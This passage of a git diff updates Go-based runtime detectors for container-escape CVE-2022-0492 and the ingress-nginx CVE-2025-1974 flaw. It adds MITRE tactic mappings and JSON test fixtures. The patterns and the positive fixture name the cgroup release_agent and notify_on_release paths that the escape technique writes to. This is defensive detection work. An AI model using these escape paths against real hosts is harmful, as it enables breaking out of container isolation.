fmt.Errorf("unexpected args len, got %d, want >= 2", len(args)) + } + + action = "rename" + path = args[1].GetPathArg().GetPath() + newFile = args[0].GetPathArg().GetPath() + default: return resp, nil } if fileRegex.MatchString(path) { + resp.TacticsCovered = mitreTactics + switch { + case (action == "write") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeWriteNoArgs, path, binary) + case (action == "write") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeWriteDefault, path, binary, binaryArgs) + case (action == "mmap") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeMmapNoArgs, path, binary) + case (action == "mmap") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeMmapDefault, path, binary, binaryArgs) + case (action == "rename") && (binaryArgs == ""): + resp.Reason = fmt.Sprintf(KprobeRenameNoArgs, path, newFile, binary) + case (action == "rename") && (binaryArgs != ""): + resp.Reason = fmt.Sprintf(KprobeRenameDefault, path, newFile, binary, binaryArgs) + } resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -143,472 +199,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "OjkxMjM1NTUzMTgyNTQxOjY2NjA0", - "pid": 66604, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T08:02:04.345014271Z", - "auid": 4294967295, - "docker": "b2ce6ed48a40531cbbcdbf025b47467", - "parent_exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ] - }, - "tid": 66604, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "parent": { - "exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", - "pid": 66567, - "uid": 0, - "cwd": "/run/containerd/io.containerd.runtime.v2.task/moby/b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5", - "binary": "/usr/bin/containerd-shim-runc-v2", - "arguments": "-namespace moby -id b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5 -address /run/containerd/containerd.sock", - "flags": "execve clone", - "start_time": "2024-03-22T08:02:03.963251745Z", - "auid": 4294967295, - "parent_exec_id": "OjkxMjM1MTUzNjE5ODY3OjY2NTU5", - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ] - }, - "tid": 66567, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "path": "/tmp/cgrp/x/notify_on_release" - } - }, - { - "int_arg": 2 - } - ], - "return": { - "int_arg": 0 - }, - "action": "KPROBE_ACTION_POST", - "policy_name": "file-monitoring" - }, - "time": "2024-03-22T08:06:38.859706015Z" -} - -{ - "process_kprobe": { - "process": { - "exec_id": "OjkxMjM1NTUzMTgyNTQxOjY2NjA0", - "pid": 66604, - "uid": 0, - "cwd": "/", - "binary": "/usr/bin/bash", - "flags": "execve rootcwd clone", - "start_time": "2024-03-22T08:02:04.345014271Z", - "auid": 4294967295, - "docker": "b2ce6ed48a40531cbbcdbf025b47467", - "parent_exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ] - }, - "tid": 66604, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "parent": { - "exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", - "pid": 66567, - "uid": 0, - "cwd": "/run/containerd/io.containerd.runtime.v2.task/moby/b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5", - "binary": "/usr/bin/containerd-shim-runc-v2", - "arguments": "-namespace moby -id b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5 -address /run/containerd/containerd.sock", - "flags": "execve clone", - "start_time": "2024-03-22T08:02:03.963251745Z", - "auid": 4294967295, - "parent_exec_id": "OjkxMjM1MTUzNjE5ODY3OjY2NTU5", - "cap": { - "permitted": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ], - "effective": [ - "CAP_CHOWN", - "DAC_OVERRIDE", - "CAP_DAC_READ_SEARCH", - "CAP_FOWNER", - "CAP_FSETID", - "CAP_KILL", - "CAP_SETGID", - "CAP_SETUID", - "CAP_SETPCAP", - "CAP_LINUX_IMMUTABLE", - "CAP_NET_BIND_SERVICE", - "CAP_NET_BROADCAST", - "CAP_NET_ADMIN", - "CAP_NET_RAW", - "CAP_IPC_LOCK", - "CAP_IPC_OWNER", - "CAP_SYS_MODULE", - "CAP_SYS_RAWIO", - "CAP_SYS_CHROOT", - "CAP_SYS_PTRACE", - "CAP_SYS_PACCT", - "CAP_SYS_ADMIN", - "CAP_SYS_BOOT", - "CAP_SYS_NICE", - "CAP_SYS_RESOURCE", - "CAP_SYS_TIME", - "CAP_SYS_TTY_CONFIG", - "CAP_MKNOD", - "CAP_LEASE", - "CAP_AUDIT_WRITE", - "CAP_AUDIT_CONTROL", - "CAP_SETFCAP", - "CAP_MAC_OVERRIDE", - "CAP_MAC_ADMIN", - "CAP_SYSLOG", - "CAP_WAKE_ALARM", - "CAP_BLOCK_SUSPEND", - "CAP_AUDIT_READ" - ] - }, - "tid": 66567, - "process_credentials": { - "uid": 0, - "gid": 0, - "euid": 0, - "egid": 0, - "suid": 0, - "sgid": 0, - "fsuid": 0, - "fsgid": 0 - } - }, - "function_name": "security_file_permission", - "args": [ - { - "file_arg": { - "path": "/tmp/cgrp/release_agent" - } - }, - { - "int_arg": 2 - } - ], - "return": { - "int_arg": 0 - }, - "action": "KPROBE_ACTION_POST", - "policy_name": "file-monitoring" - }, - "time": "2024-03-22T08:11:14.343791166Z" +// tacticTechniques is a constructor for *api.MitreTactic which makes its initialization less verbose. +func tacticTechniques(tacticID string, techniqueIDs ...string) *api.MitreTactic { + return &api.MitreTactic{ + Id: tacticID, + Techniques: techniqueIDs, + } } - -*/ diff --git a/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/negative_benign_path.json b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/negative_benign_path.json new file mode 100644 index 00000000..e248d4f1 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/negative_benign_path.json @@ -0,0 +1,36 @@ +{ + "event": { + "process_kprobe": { + "process": { + "pid": 12345, + "binary": "/usr/bin/bash", + "arguments": "-c \"echo test > /tmp/note.txt\"", + "docker": "abc1234567890ab" + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/tmp/note.txt", + "permission": "-rw-r--r--" + } + }, + { + "int_arg": 2 + } + ] + }, + "node_name": "test-node", + "time": "2025-07-28T13:34:05.422534198Z" + }, + "policy_response": null, + "expect": { + "policy_call": null, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "", + "is_threat": false + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/positive_cgrp_release_agent.json b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/positive_cgrp_release_agent.json new file mode 100644 index 00000000..68c5b9a3 --- /dev/null +++ b/event-processor/detector/wasm/CS_RT_CVE_2022_0492/testdata/positive_cgrp_release_agent.json @@ -0,0 +1,251 @@ +{ + "event": { + "process_kprobe": { + "process": { + "exec_id": "OjkxMjM1NTUzMTgyNTQxOjY2NjA0", + "pid": 66604, + "uid": 0, + "cwd": "/", + "binary": "/usr/bin/bash", + "flags": "execve rootcwd clone", + "start_time": "2024-03-22T08:02:04.345014271Z", + "auid": 4294967295, + "docker": "b2ce6ed48a40531cbbcdbf025b47467", + "parent_exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", + "refcnt": 1, + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ" + ] + }, + "tid": 66604, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0 + } + }, + "parent": { + "exec_id": "OjkxMjM1MTcxNDIwNjE0OjY2NTY3", + "pid": 66567, + "uid": 0, + "cwd": "/run/containerd/io.containerd.runtime.v2.task/moby/b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5", + "binary": "/usr/bin/containerd-shim-runc-v2", + "arguments": "-namespace moby -id b2ce6ed48a40531cbbcdbf025b4746725ce07ddcb4d5b96715d80a37967218d5 -address /run/containerd/containerd.sock", + "flags": "execve clone", + "start_time": "2024-03-22T08:02:03.963251745Z", + "auid": 4294967295, + "parent_exec_id": "OjkxMjM1MTUzNjE5ODY3OjY2NTU5", + "cap": { + "permitted": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ" + ], + "effective": [ + "CAP_CHOWN", + "DAC_OVERRIDE", + "CAP_DAC_READ_SEARCH", + "CAP_FOWNER", + "CAP_FSETID", + "CAP_KILL", + "CAP_SETGID", + "CAP_SETUID", + "CAP_SETPCAP", + "CAP_LINUX_IMMUTABLE", + "CAP_NET_BIND_SERVICE", + "CAP_NET_BROADCAST", + "CAP_NET_ADMIN", + "CAP_NET_RAW", + "CAP_IPC_LOCK", + "CAP_IPC_OWNER", + "CAP_SYS_MODULE", + "CAP_SYS_RAWIO", + "CAP_SYS_CHROOT", + "CAP_SYS_PTRACE", + "CAP_SYS_PACCT", + "CAP_SYS_ADMIN", + "CAP_SYS_BOOT", + "CAP_SYS_NICE", + "CAP_SYS_RESOURCE", + "CAP_SYS_TIME", + "CAP_SYS_TTY_CONFIG", + "CAP_MKNOD", + "CAP_LEASE", + "CAP_AUDIT_WRITE", + "CAP_AUDIT_CONTROL", + "CAP_SETFCAP", + "CAP_MAC_OVERRIDE", + "CAP_MAC_ADMIN", + "CAP_SYSLOG", + "CAP_WAKE_ALARM", + "CAP_BLOCK_SUSPEND", + "CAP_AUDIT_READ" + ] + }, + "tid": 66567, + "process_credentials": { + "uid": 0, + "gid": 0, + "euid": 0, + "egid": 0, + "suid": 0, + "sgid": 0, + "fsuid": 0, + "fsgid": 0 + } + }, + "function_name": "security_file_permission", + "args": [ + { + "file_arg": { + "path": "/tmp/cgrp/x/notify_on_release" + } + }, + { + "int_arg": 2 + } + ], + "return": { + "int_arg": 0 + }, + "action": "KPROBE_ACTION_POST", + "policy_name": "pt-cs-write-file-monitoring" + }, + "time": "2024-03-22T08:06:38.859706015Z" + }, + "policy_response": null, + "expect": { + "policy_call": { + "detector_id": "CS_RT_CVE_2022_0492", + "severity": "HIGH", + "reason_contains": "CVE-2022-0492", + "tactics": [ + "TA0004" + ] + }, + "kill_pod_call": null, + "notify_call": null, + "history_event": { + "severity": "HIGH", + "is_threat": true + } + } +} diff --git a/event-processor/detector/wasm/CS_RT_CVE_2025_1974/main.go b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/main.go index 66786805..0d9c9c2c 100644 --- a/event-processor/detector/wasm/CS_RT_CVE_2025_1974/main.go +++ b/event-processor/detector/wasm/CS_RT_CVE_2025_1974/main.go @@ -21,9 +21,7 @@ const ( ) const ( - // Memory page access permissions. - // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 - PROT_READ = 1 + KprobeDetect = "Detected that arbitrary code from the `%s` file was executed by the `%s` process, which was started using the `%s` arguments through the Ingress Nightmare vulnerability exploitation" ) var ( @@ -44,6 +42,35 @@ var ( } ) +var ( + mitreTactics = []*api.MitreTactic{ + { + Id: "TA0001", + Techniques: []string{ + "T1190", + }, + }, + { + Id: "TA0002", + Techniques: []string{ + "T1129", + }, + }, + { + Id: "TA0008", + Techniques: []string{ + "T1210", + }, + }, + } +) + +const ( + // Memory page access permissions. + // https://elixir.bootlin.com/linux/v6.10-rc6/source/include/uapi/asm-generic/mman-common.h#L10 + PROT_READ = 1 +) + var ( // NGINX binary. nginxBinary = glob.MustCompile("*/nginx") @@ -52,8 +79,8 @@ var ( libPath = glob.MustCompile("/tmp/nginx/client-body/*") ) -// main is required for TinyGo to compile to Wasm. -func main() { +// init is required for TinyGo to compile to Wasm. +func init() { api.RegisterDetector(Detector{}) } @@ -61,12 +88,13 @@ type Detector struct{} func (d Detector) Info(ctx context.Context, req *api.InfoReq) (*api.InfoResp, error) { return &api.InfoResp{ - Id: ID, - Name: Name, - Description: Description, - Version: Version, - Author: Author, - License: License, + Id: ID, + Name: Name, + Description: Description, + Version: Version, + Author: Author, + License: License, + TacticsCovered: mitreTactics, }, nil } @@ -100,8 +128,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe // Nothing here case *tetragon.GetEventsResponse_ProcessKprobe: kprobe := ev.ProcessKprobe - binary := kprobe.GetProcess().GetBinary() + binaryArgs := kprobe.GetProcess().GetArguments() function := kprobe.GetFunctionName() args := kprobe.GetArgs() @@ -124,6 +152,8 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe path = args[0].GetFileArg().GetPath() if nginxBinary.Match(binary) && libPath.Match(path) { + resp.TacticsCovered = mitreTactics + resp.Reason = fmt.Sprintf(KprobeDetect, path, binary, binaryArgs) resp.Severity = api.DetectResp_HIGH // <-- threat detected return resp, nil @@ -136,256 +166,10 @@ func (d Detector) Detect(ctx context.Context, req *api.DetectReq) (*api.DetectRe return resp, nil } -/* Example event (JSON): - -{ - "process_kprobe": { - "process": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MjI5Mjk5MjY5MzY5NzoyMDgyNTM2", - "pid": 2082536, - "uid": 101, - "cwd": "/etc/nginx", - "binary": "/usr/bin/nginx", - "arguments": "-c /tmp/nginx/nginx-cfg1787549034 -t", - "flags": "execve clone", - "start_time": "2025-04-29T11:27:19.395558820Z", - "auid": 4294967295, - "pod": { - "namespace": "ingress-nginx", - "name": "ingress-nginx-controller-56748c4f7c-nfsq8", - "container": { - "id": "containerd://60c397c08e0c4dc29b6623f864451415e6b9999cac34608572514e94f514a98b", - "name": "controller", - "image": { - "id": "registry.k8s.io/ingress-nginx/controller@sha256:9724476b928967173d501040631b23ba07f47073999e80e34b120e8db5f234d5", - "name": "sha256:11b916a025f028a5868d51d66773e876910636a1c261e919d72864dbb9bfc860" - }, - "start_time": "2025-04-29T11:12:32Z", - "pid": 730, - "maybe_exec_probe": false - }, - "pod_labels": { - "app.kubernetes.io/component": "controller", - "app.kubernetes.io/instance": "ingress-nginx", - "app.kubernetes.io/name": "ingress-nginx", - "app.kubernetes.io/part-of": "ingress-nginx", - "app.kubernetes.io/version": "1.12.0-beta.0", - "pod-template-hash": "56748c4f7c" - }, - "workload": "ingress-nginx-controller", - "workload_kind": "Deployment" - }, - "docker": "60c397c08e0c4dc29b6623f86445141", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE3MDAyMDM3NToyMDU1MjUx", - "refcnt": 1, - "cap": { - "permitted": [ - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533517, - "is_host": false - }, - "ipc": { - "inum": 4026533518, - "is_host": false - }, - "mnt": { - "inum": 4026533520, - "is_host": false - }, - "pid": { - "inum": 4026533521, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533521, - "is_host": false - }, - "net": { - "inum": 4026533119, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - "inum": 4026533522, - "is_host": false - }, - "user": { - "inum": 4026531837, - "is_host": true - } - }, - "tid": 2082536, - "process_credentials": { - "uid": 101, - "gid": 82, - "euid": 101, - "egid": 82, - "suid": 101, - "sgid": 82, - "fsuid": 101, - "fsgid": 82, - "securebits": [], - "caps": null, - "user_ns": null - }, - "binary_properties": null, - "user": null - }, - "parent": { - "exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE3MDAyMDM3NToyMDU1MjUx", - "pid": 2055251, - "uid": 101, - "cwd": "/etc/nginx", - "binary": "/nginx-ingress-controller", - "arguments": "--election-id=ingress-nginx-leader --controller-class=k8s.io/ingress-nginx --ingress-class=nginx --configmap=ingress-nginx/ingress-nginx-controller --validating-webhook=:8443 --validating-webhook-certificate=/usr/local/certificates/cert --validating-webhook-key=/usr/local/certificates/key", - "flags": "execve clone", - "start_time": "2025-04-29T11:12:32.572886816Z", - "auid": 4294967295, - "pod": { - "namespace": "ingress-nginx", - "name": "ingress-nginx-controller-56748c4f7c-nfsq8", - "container": { - "id": "containerd://60c397c08e0c4dc29b6623f864451415e6b9999cac34608572514e94f514a98b", - "name": "controller", - "image": { - "id": "registry.k8s.io/ingress-nginx/controller@sha256:9724476b928967173d501040631b23ba07f47073999e80e34b120e8db5f234d5", - "name": "sha256:11b916a025f028a5868d51d66773e876910636a1c261e919d72864dbb9bfc860" - }, - "start_time": "2025-04-29T11:12:32Z", - "pid": 7, - "maybe_exec_probe": false - }, - "pod_labels": { - "app.kubernetes.io/component": "controller", - "app.kubernetes.io/instance": "ingress-nginx", - "app.kubernetes.io/name": "ingress-nginx", - "app.kubernetes.io/part-of": "ingress-nginx", - "app.kubernetes.io/version": "1.12.0-beta.0", - "pod-template-hash": "56748c4f7c" - }, - "workload": "ingress-nginx-controller", - "workload_kind": "Deployment" - }, - "docker": "60c397c08e0c4dc29b6623f86445141", - "parent_exec_id": "cHRjcy1tYXN0ZXItbm9kZToyMDQ2MTQwNjE2NDA5NDAwMToyMDU1MjI3", - "refcnt": 0, - "cap": { - "permitted": [ - "CAP_NET_BIND_SERVICE" - ], - "effective": [ - "CAP_NET_BIND_SERVICE" - ], - "inheritable": [] - }, - "ns": { - "uts": { - "inum": 4026533517, - "is_host": false - }, - "ipc": { - "inum": 4026533518, - "is_host": false - }, - "mnt": { - "inum": 4026533520, - "is_host": false - }, - "pid": { - "inum": 4026533521, - "is_host": false - }, - "pid_for_children": { - "inum": 4026533521, - "is_host": false - }, - "net": { - "inum": 4026533119, - "is_host": false - }, - "time": { - "inum": 4026531834, - "is_host": true - }, - "time_for_children": { - "inum": 4026531834, - "is_host": true - }, - "cgroup": { - 